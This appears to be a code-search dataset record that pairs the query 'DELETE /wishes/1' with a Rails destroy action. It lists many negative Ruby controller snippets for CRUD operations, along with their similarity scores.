Wig.find(params[:id])\n\n respond_to do |format|\n if @wig.update_attributes(params[:wig])\n format.html { redirect_to @wig, notice: 'Wig was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wig.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_image\n # wish image can be updated only when then wish belongs to current user\n if @wish.user_id == current_user.id\n @wish.image.purge\n @wish.image.attach(wish_params[:image])\n render json: url_for(@wish.image)\n end\n end", "def put(path, params)\n parse_response @client[path].put(params)\n end", "def update\n @promotion = Promotion.find(params[:id])\n\n if @promotion.update(promotion_params)\n head :no_content\n else\n render json: @promotion.errors, status: :unprocessable_entity\n end\n end", "def update\n put :update\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def create\n @wish = Wish.new(wish_params)\n @wish.user = current_user\n\n respond_to do |format|\n if @wish.save\n format.html { redirect_to @wish, notice: 'Wish was successfully created.' }\n format.json { render action: 'show', status: :created, location: @wish }\n else\n format.html { render action: 'new' }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hearted.update(hearted_params)\n format.html { redirect_to @hearted, notice: 'Hearted was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hearted.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to_update({thing: @author})\n end", "def update\n @food.update(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end", "def update\n @music_like = MusicLike.find(params[:id])\n\n respond_to do |format|\n if @music_like.update_attributes(params[:music_like])\n format.html { redirect_to @music_like, :notice => 'Music like was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @music_like.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @wishes = Wish.all\n end", "def index\n @wishes = Wish.all\n end", "def update\n respond_to do |format|\n if @joke.update(joke_params)\n format.html { redirect_to @joke, notice: 'Joke was successfully updated.' }\n format.json { render :show, status: :ok, location: @joke }\n else\n format.html { render :edit }\n format.json { render json: @joke.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @deck = Deck.find(params[:id])\n @deck.update(title: params[:title])\n render \"update.json.jbuilder\", status: :ok\n end", "def set_wish_list_item\n @wish_list_item = WishListItem.find(params[:id])\n end", "def update\n respond_to do |format|\n if @shoe.update(shoe_params)\n format.html { redirect_to @shoe, notice: t('notice.success.update',\n model: model_name) }\n format.json { render :show, status: :ok, location: @shoe }\n else\n format.html { render :edit }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @wish_list = WishList.find(params[:id])\n\n respond_to do |format|\n if @wish_list.update_attributes(params[:wish_list])\n flash[:notice] = 'WishList was successfully updated.'\n format.html { redirect_to(admin_wish_lists_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wish_list.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @shot = Shot.find(params[:id])\n\n if @shot.update(shot_params)\n head :no_content\n else\n render json: @shot.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @favorite_web_thing.update(favorite_web_thing_params)\n format.html { redirect_to @favorite_web_thing, notice: 'Favorite web thing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @favorite_web_thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @like = Like.find(params[:id])\n\n respond_to do |format|\n if @like.update_attributes(params[:like])\n format.html { redirect_to @like, notice: 'Like was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @like.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wanted_item.update(wanted_item_params)\n format.html { redirect_to @wanted_item, notice: 'Wanted item was successfully updated.' }\n format.json { render :show, status: :ok, location: @wanted_item }\n else\n format.html { render :edit }\n format.json { render json: @wanted_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @mood = Mood.find(params[:id])\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n if @mood.update_attributes(params[:mood])\n format.json { head :ok }\n else\n format.json { render :xml => @mood.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update \n s3 = AWS::S3.new\n amazons = s3.buckets[BUCKET].objects\n Song.destroy_all\n amazons.each do |song|\n strip_title(song.key)\n Song.create(title: @title, filename: song.key, year: song.metadata[\"year\"], artist: song.metadata[\"artist\"], blurb: song.metadata[\"blurb\"])\n end\n redirect_to songs_path \n end", "def set_wish_list\n @wish_list = WishList.find(params[:id])\n end", "def set_wish_list\n @wish_list = WishList.find(params[:id])\n end", "def update\n respond_to do |format|\n if @sheep.update(sheep_params)\n format.html { redirect_to @sheep, notice: 'Sau ble oppdatert.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sheep.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def show\n @wish = Wish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wish }\n end\n end", "def wish_params\n params.require(:wish).permit(:name, :description, :wishlist_id, :price, :link)\n end", "def update\n @ingredients_name = IngredientsName.find(params[:id])\n\n respond_to do |format|\n if @ingredients_name.update_attributes(params[:ingredients_name])\n format.html { redirect_to @ingredients_name, notice: 'Ingredients name was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ingredients_name.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @shelf.update(shelf_params)\n format.html { redirect_to house_shelves_path(params[:house_id]), notice: 'Shelf was successfully created.' } \n format.json { render :show, status: :ok, location: @shelf }\n else\n format.html { render :edit }\n format.json { render json: @shelf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @joke = Joke.find(params[:id])\n\n respond_to do |format|\n if @joke.update_attributes(params[:joke])\n format.html { redirect_to @joke, :notice => 'Joke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @joke.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @wanted = Wanted.find(params[:id])\n\n respond_to do |format|\n if @wanted.update_attributes(params[:wanted])\n format.html { redirect_to @wanted, notice: 'Wanted was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wanted.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n thing_name = params[:id]\n is_on = params[:on].to_i\n client = Broker::Wrapper.new(current_user, thing_name)\n result = client.set_state(is_on)\n\n result_hash = result.as_json\n render json: result_hash, status: 200\n end", "def destroy\n if @wish.user_id == current_user.id\n @wish = Wish.find(params[:id])\n @wish.destroy\n render json: {}, status: :no_content\n end\n end", "def update_item(item_id)\n request_body = {\n 'name' => 'Malted Milkshake'\n }\n\n response = Unirest.put CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully updated item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item update failed'\n puts response.body\n return nil\n end\nend", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def update\n respond_to do |format|\n if @look_a_like.update(look_a_like_params)\n format.html { redirect_to @look_a_like, notice: \"Look a like was successfully updated.\" }\n format.json { render :show, status: :ok, location: @look_a_like }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @look_a_like.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n @item.update_attributes(params[:item])\n respond_with @item\n end", "def update\n if @pizza.update(pizza_params)\n ActionCable.server.broadcast 'pizzas', {}\n render json: @pizza\n else\n render json: @pizza.errors, status: :unprocessable_entity\n end\n end", "def update\n @moose = Moose.find(params[:id])\n\n respond_to do |format|\n if @moose.update_attributes(params[:moose])\n format.html { redirect_to @moose, notice: 'Moose was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moose.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_with Favor.update(params[:id], params[:favor])\n end", "def update\n respond_to do |format|\n if @weight.update(weight_params)\n format.html { redirect_to rabbit_weights_path(@rabbit), notice: 'Peso aggiornato con successo.' }\n format.json { render :show, status: :ok, location: @weight }\n else\n format.html { render :edit }\n format.json { render json: @weight.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6478893", "0.6446402", "0.6404435", "0.62265486", "0.62234676", "0.61401874", "0.61304915", "0.61304915", "0.61304915", "0.6079557", "0.6057336", "0.6011446", "0.59815335", "0.59564936", "0.5954274", "0.5932123", "0.5930394", "0.58973336", "0.5880298", "0.58720905", "0.58554167", "0.58490276", "0.5848239", "0.58358896", "0.5815781", "0.58098555", "0.58069634", "0.58017856", "0.57748634", "0.5770906", "0.5767485", "0.5742919", "0.57188874", "0.57187545", "0.5708714", "0.57084435", "0.5675424", "0.56702346", "0.566973", "0.5666829", "0.5658995", "0.56529725", "0.5651262", "0.563887", "0.563887", "0.56342125", "0.56238776", "0.56144357", "0.5599477", "0.5599021", "0.5590743", "0.5584016", "0.55769676", "0.55710083", "0.5566699", "0.5566341", "0.5563019", "0.5560626", "0.5560626", "0.5560102", "0.55570745", "0.5554018", "0.55461144", "0.55455965", "0.55368125", "0.55334824", "0.5530999", "0.55291384", "0.5528222", "0.55213255", "0.55136615", "0.55136615", "0.5512828", "0.5502567", "0.5502014", "0.5495017", "0.5487791", "0.54865706", "0.54806435", "0.54751873", "0.54691166", "0.54688096", "0.5468406", "0.54663783", "0.54663783", "0.54663783", "0.54624844", "0.54624844", "0.54624844", "0.54624844", "0.54624844", "0.54624844", "0.54624844", "0.54624844", "0.54602164", "0.5460004", "0.54526067", "0.5451766", "0.5447699", "0.54465467" ]
0.65631545
0
DELETE /wishes/1 DELETE /wishes/1.json
def destroy @wish.destroy redirect_to root_url end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to wishes_url, notice: 'Wish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @wishlistitem = Wishlistitem.find(params[:id])\n @wishlistitem.destroy\n\n respond_to do |format|\n format.html { redirect_to wishlistitems_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Like.delete(params[\"id\"])\n end", "def destroy\n if @wish.user_id == current_user.id\n @wish = Wish.find(params[:id])\n @wish.destroy\n render json: {}, status: :no_content\n end\n end", "def destroy\n @wish_list_item = WishListItem.find(params[:id])\n @wish_list_item.destroy\n\n respond_to do |format|\n format.html { redirect_to wish_list_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wish_list.destroy\n respond_to do |format|\n format.html { redirect_to controller: \"account\", action: \"wishlist\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @dish = Dish.find(params[:id])\n @dish.destroy\n\n respond_to do |format|\n format.html { redirect_to my_page_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @dish = Dish.find(params[:id])\n @dish.destroy\n\n respond_to do |format|\n format.html { redirect_to dishes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dish = Dish.find(params[:id])\n @dish.destroy\n\n respond_to do |format|\n format.html { redirect_to dishes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wishlist = Wishlist.find(params[:id])\n @wishlist.destroy\n\n respond_to do |format|\n format.html { redirect_to wishlists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wishlist = Wishlist.find(params[:id])\n @wishlist.destroy\n\n respond_to do |format|\n format.html { redirect_to wishlists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wish_list_item.destroy\n respond_to do |format|\n format.html { redirect_to wish_list_url(@wish_list_item.wish_list), notice: 'Wish list item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @wishlist.destroy\n respond_to do |format|\n format.html { redirect_to wishlists_url, notice: 'Záznam vo wishliste bol úspešne zmazaný.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @manage_nourish.destroy\n respond_to do |format|\n format.html { redirect_to manage_nourishes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wash = Wash.find(params[:id])\n @wash.destroy\n\n respond_to do |format|\n format.html { redirect_to washes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n LocationsWish.where('wish_id = ?', @wish.id).all.each do |wish|\n wish.destroy\n end\n WishLog.where('wish_by_id= ?', @wish.id).all.each do |wish|\n wish.destroy\n end\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wish_list_item = WishListItem.find(params[:id])\n @wish_list_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(wish_list_items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def destroy\n @wig = Wig.find(params[:id])\n @wig.destroy\n\n respond_to do |format|\n format.html { redirect_to wigs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dish_mixture.destroy\n respond_to do |format|\n format.html { redirect_to dish_mixtures_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dish.destroy\n respond_to do |format|\n format.html { redirect_to dishes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dish.destroy\n respond_to do |format|\n format.html { redirect_to dishes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @goody = Goody.find(params[:id])\n @goody.destroy\n\n respond_to do |format|\n format.html { redirect_to goodies_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n @wishlist.destroy\n respond_to do |format|\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @wishlist.destroy\n respond_to do |format|\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(*rest) end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @dish.destroy\n respond_to do |format|\n format.html { redirect_to dishes_url, notice: 'El plato se ha eliminado.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @dish.destroy\n respond_to do |format|\n format.html { redirect_to restaurant_dishes_path, notice: 'Dish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @restaurant_dish = Restaurant::Dish.find(params[:id])\n @restaurant_dish.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurant_dishes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @musica.audios.purge\n @musica.destroy\n respond_to do |format|\n format.html { redirect_to musicas_url, notice: 'Álbum apagado com sucesso!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dish.destroy\n respond_to do |format|\n format.html { redirect_to dishes_url, notice: 'Dish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @wanted_item = WantedItem.find(params[:id]).destroy\n respond_to do |format|\n format.json { head :no_content }\n # format.json { redirect_to wanted_items_url, notice: 'Item was successfully destroyed.' }\n end\n end", "def destroy\n @wanted = Wanted.find(params[:id])\n @wanted.destroy\n\n respond_to do |format|\n format.html { redirect_to wanteds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dish.destroy\n respond_to do |format|\n format.html { redirect_to dishes_url, notice: 'Блюдо уничтожено.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @have = Have.find(params[:id])\n @have.destroy\n\n respond_to do |format|\n format.html { redirect_to haves_url }\n format.json { head :ok }\n end\n end", "def destroy\n @dish_mood.destroy\n respond_to do |format|\n format.html { redirect_to dish_moods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @brewhouse = Brewhouse.find(params[:id])\n @brewhouse.destroy\n\n respond_to do |format|\n format.html { redirect_to brewhouses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @todo3.destroy\n respond_to do |format|\n format.html { redirect_to todo3s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wish_list = WishList.find(params[:id])\n @wish_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_wish_lists_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @admin_dish.destroy\n respond_to do |format|\n format.html { redirect_to admin_dishes_url, notice: 'Dish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sound_bite.destroy\n respond_to do |format|\n format.html { redirect_to sound_bites_url, notice: 'Sound bite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @hearted.destroy\n respond_to do |format|\n format.html { redirect_to hearteds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bowl = Bowl.find(params[:id])\n @bowl.destroy\n\n respond_to do |format|\n format.html { redirect_to bowls_url }\n format.json { head :no_content }\n end\n end", "def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end", "def destroy\n relationship = Relationships.find(params[:id])\n relationship.destroy\n head 204\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @meal_dish.destroy\n respond_to do |format|\n format.html { redirect_to meal_dishes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wiggle.destroy\n respond_to do |format|\n format.html { redirect_to wiggles_url, notice: 'Wiggle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @wash.destroy\n respond_to do |format|\n format.html { redirect_to washes_url, notice: 'Wash was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @monkey = Monkey.find(params[:id])\n @monkey.destroy\n\n respond_to do |format|\n format.html { redirect_to monkeys_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @diet_dish.destroy\n respond_to do |format|\n format.html { redirect_to diet_dishes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sheep.destroy\n respond_to do |format|\n format.html { redirect_to sheep_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dow.destroy\n respond_to do |format|\n format.html { redirect_to dows_url, notice: 'Dow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @favorite_dish.destroy\n respond_to do |format|\n format.html { redirect_to favorite_dishes_url, notice: 'Favorite dish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @waldo.destroy\n respond_to do |format|\n format.html { redirect_to waldos_url, notice: 'Waldo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @wish.destroy\n redirect_to wishlist_path(@wish.wishlist_id)\n end", "def destroy\n @wishlist_item = WishlistItem.find(params[:id])\n @wishlist_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(store_path, :notice => 'Item has been removed from your wishlist.') }\n format.xml { head :ok }\n end\n end", "def destroy\n @garnish.destroy\n respond_to do |format|\n format.html { redirect_to garnishes_url, notice: 'Garnish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @inchicken_dish.destroy\n respond_to do |format|\n format.html { redirect_to inchicken_dishes_url, notice: 'Inchicken dish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @want.destroy\n respond_to do |format|\n format.html { redirect_to wants_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end", "def delete(*args)\n request(:delete, *args)\n end", "def destroy\n @injhas_special_biryani_dish.destroy\n respond_to do |format|\n format.html { redirect_to injhas_special_biryani_dishes_url, notice: 'Injhas special biryani dish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @like = Like.find(params[:id])\n @like.destroy\n\n respond_to do |format|\n format.html { redirect_to likes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wow.destroy\n respond_to do |format|\n format.html { redirect_to wows_url, notice: 'Wow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @side_dish = SideDish.find(params[:id])\n @side_dish.destroy\n\n respond_to do |format|\n format.html { redirect_to side_dishes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uginuce.sheep.update status:'na farmi'\n @uginuce.destroy\n respond_to do |format|\n format.html { redirect_to uginuces_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shorty = Shorty.find(params[:id])\n @shorty.destroy\n\n respond_to do |format|\n format.html { redirect_to shorties_url }\n format.json { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete\n render json: Post.delete(params[\"id\"])\n end", "def destroy\n @walikela.destroy\n respond_to do |format|\n format.html { redirect_to walikelas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @whoarewe = Whoarewe.find(params[:id])\n @whoarewe.destroy\n\n respond_to do |format|\n format.html { redirect_to whoarewes_url }\n format.json { head :ok }\n end\n end", "def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end", "def destroy \n @promotion = Promotion.find(params[:id])\n @client_id = @promotion.client.id\n @promotion.destroy\n\n respond_to do |format|\n format.html { redirect_to(promotions_url(:client_id => @client_id)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @manage_glow.destroy\n respond_to do |format|\n format.html { redirect_to manage_glows_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n @heart_beat.destroy\n respond_to do |format|\n format.html { redirect_to heart_beats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @go = Go.find(params[:id])\n @go.destroy\n\n respond_to do |format|\n format.html { redirect_to manager_gos_url }\n format.json { head :no_content }\n end\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def delete\n \n end", "def destroy\n @favorite_web_thing.destroy\n respond_to do |format|\n format.html { redirect_to favorite_web_things_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @example_two.destroy\n respond_to do |format|\n format.html { redirect_to example_twos_url }\n format.json { head :no_content }\n end\n end", "def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end", "def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @kishangarh_marble.destroy\n respond_to do |format|\n format.html { redirect_to kishangarh_marbles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @go_down_item.destroy\n respond_to do |format|\n format.html { redirect_to go_down_items_url, notice: 'Go down item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @orphan.destroy\n respond_to do |format|\n format.html { redirect_to orphans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @song_like = SongLike.find(params[:id])\n @song_like.destroy\n\n respond_to do |format|\n format.html { redirect_to song_likes_url }\n format.json { head :no_content }\n end\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end" ]
[ "0.7290465", "0.69545513", "0.6870536", "0.6861001", "0.68501", "0.684075", "0.6759711", "0.6735063", "0.673466", "0.673466", "0.6734169", "0.6734169", "0.6733039", "0.67086095", "0.6700075", "0.6683056", "0.66720235", "0.66648376", "0.66495174", "0.6647099", "0.6643405", "0.66408193", "0.6628932", "0.6628932", "0.6625512", "0.6616808", "0.66144377", "0.66144377", "0.66128194", "0.6609331", "0.6599633", "0.6591339", "0.65819216", "0.6581439", "0.6572137", "0.6571426", "0.6568518", "0.6567078", "0.6564447", "0.65595144", "0.6555286", "0.6536908", "0.6528339", "0.65216386", "0.65216064", "0.6520126", "0.65094876", "0.6507891", "0.65056443", "0.6497129", "0.6495045", "0.64709705", "0.64705384", "0.6459341", "0.6453433", "0.6451839", "0.64481276", "0.6444991", "0.64444065", "0.64428365", "0.643863", "0.64371556", "0.64350015", "0.6432453", "0.6432453", "0.6429759", "0.6429241", "0.6427729", "0.6423967", "0.64205885", "0.64141774", "0.64106965", "0.6406005", "0.64059633", "0.64043903", "0.640397", "0.6403205", "0.63973266", "0.6395941", "0.6391071", "0.63903993", "0.6389087", "0.63863224", "0.6385719", "0.6376361", "0.6371077", "0.63701874", "0.63686705", "0.63672054", "0.63671935", "0.6365735", "0.63647383", "0.63634676", "0.6360857", "0.6359199", "0.63566226", "0.63562727", "0.6355864", "0.6355817", "0.63523203" ]
0.66857314
15
GET /aktions/1 GET /aktions/1.xml
def show @aktion = Aktion.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @aktion } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @kontakties = Kontakty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @kontakties }\n end\n end", "def show\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arc.to_xml(:except => [ :created_at, :updated_at ], :include => :tahs) }\n end\n end", "def show\n @kontak = Kontak.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @kontak }\n end\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def show\n @analisis = Analisis.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @analisis }\n end\n end", "def show\n @transmission = Transmission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transmission }\n end\n end", "def show\n @aniversario = Aniversario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aniversario }\n end\n end", "def show\n @zorg_voor_jeugd_alias = ZorgVoorJeugdAlias.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @zorg_voor_jeugd_alias }\n end\n end", "def index\n @entries = @resource_finder.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end", "def index\n\t\t@people = Person.all\n\t\t# respond_to do |format|\n\t\t# \tformat.xml { send_data @entries.to_xml, :type => 'text/xml; charset=UTF-8;', :disposition => 'attachment; filename=entries.xml'}\n\t\t# end\n\tend", "def index\n @traffics = Traffic.find(:all, :order => \"created_at\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traffics }\n end\n end", "def show\n @kontakty = Kontakty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @kontakty }\n end\n end", "def show\n @aisle = Aisle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aisle }\n end\n end", "def index\n @acres = Acre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @acres }\n end\n end", "def index\n @amenities = Amenity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @amenities }\n end\n end", "def show\n @aplicacion = Aplicacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end", "def show\n @atom = Atom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @atom }\n end\n end", "def show\n @az_tariff = AzTariff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @az_tariff }\n end\n end", "def index\n @uitgelichts = Uitgelicht.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @uitgelichts }\n end\n end", "def index\n respond_to do |format|\n format.html { redirect_to \"/\" }\n format.xml { render :xml => @maps }\n end\n end", "def show\n @uitgelicht = Uitgelicht.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @uitgelicht }\n end\n end", "def show\n @lek = Lek.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lek }\n end\n end", "def show\n @aircraft_history = AircraftHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aircraft_history }\n end\n end", "def show\n @estagiarios = Estagiario.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end", "def show\n @almacen = Almacen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @almacen }\n end\n end", "def get_categories\n body = build_request(2935, 1501, \"ACTIVEHEADINGS\")\n response = send_to_localeze(body)\n 